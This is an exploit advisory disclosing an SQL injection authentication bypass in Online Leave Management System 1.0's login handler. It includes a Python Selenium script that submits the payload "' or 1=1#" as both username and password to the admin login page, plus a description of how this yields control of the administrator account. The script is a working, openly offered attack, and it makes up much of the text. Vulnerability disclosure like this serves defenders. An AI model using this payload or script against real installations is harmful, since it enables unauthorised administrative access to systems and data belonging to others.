Online Leave Management System 1.0 SQL Injection

Online Leave Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.


MD5 | 75edb87267a1be86c4de86ef35642dda

### Exploit Title: OLMS - PHP (by: oretnom23 ) v1.0
SQL-Injection-Bypass-Authentication in /leave_system/classes/Login.php.
### Author: nu11secur1ty
### Testing and Debugging: nu11secur1ty
### Date: 08.31.2021
### Vendor:
https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html
### Link:
https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html
### CVE: CVE-nu11-03

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug and Developement: @nu11secur1ty
# CVE-nu11-03

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="http://localhost/leave_system/admin/login.php"

#enter your login username
username="nu11secur1ty' or 1=1#"

#enter your login password
password="nu11secur1ty' or 1=1#"

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="password"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
browser.maximize_window()
time.sleep(1)
browser.execute_script("document.querySelector('[class=\"btn btn-primary
btn-flat btn-sm\"]').click()")

print("The payload for CVE-nu11-03 is deployed...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")


------------------------------------------------------------------

### Remote vulnerable link execution:
http://localhost/leave_system/admin/login.php

### Description:
The OLMS - PHP (by: oretnom23 ) v1.0 in the application
/leave_system/classes/Login.php from SQL-Injection-Bypass-Authentication
m0re info:
https://portswigger.net/support/using-sql-injection-to-bypass-authentication.

The parameter (username) from the login form is not protected correctly and
there is no security and escaping from malicious payloads.
When the user will sending a malicious query or malicious payload to the
MySQL server he can bypass the login credentials and take control of the
administer account.

### Reproduce:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/CVE-nu11-03
### Proof: https://streamable.com/0i84gn
### BR nu11secur1ty

--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://www.exploit-db.com/
https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>

Related Posts